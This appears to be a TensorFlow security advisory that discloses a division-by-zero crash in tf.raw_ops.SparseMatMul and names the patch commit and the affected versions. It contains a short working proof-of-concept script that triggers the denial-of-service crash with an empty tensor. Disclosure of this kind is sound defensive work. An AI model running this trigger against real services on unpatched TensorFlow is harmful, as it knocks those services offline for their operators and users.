Division by 0 in `SparseMatMul`

Impact

An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.SparseMatMul:

import tensorflow as tf

a = tf.constant([100.0, 100.0, 100.0, 100.0], shape=[2, 2], dtype=tf.float32)
b = tf.constant([], shape=[0, 2], dtype=tf.float32)

tf.raw_ops.SparseMatMul(
    a=a, b=b, transpose_a=True, transpose_b=True,
    a_is_sparse=True, b_is_sparse=True)

The division by 0 occurs deep in Eigen code because the b tensor is empty.

Patches

We have patched the issue in GitHub commit 7f283ff806b2031f407db64c4d3edcda8fb9f9f5.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
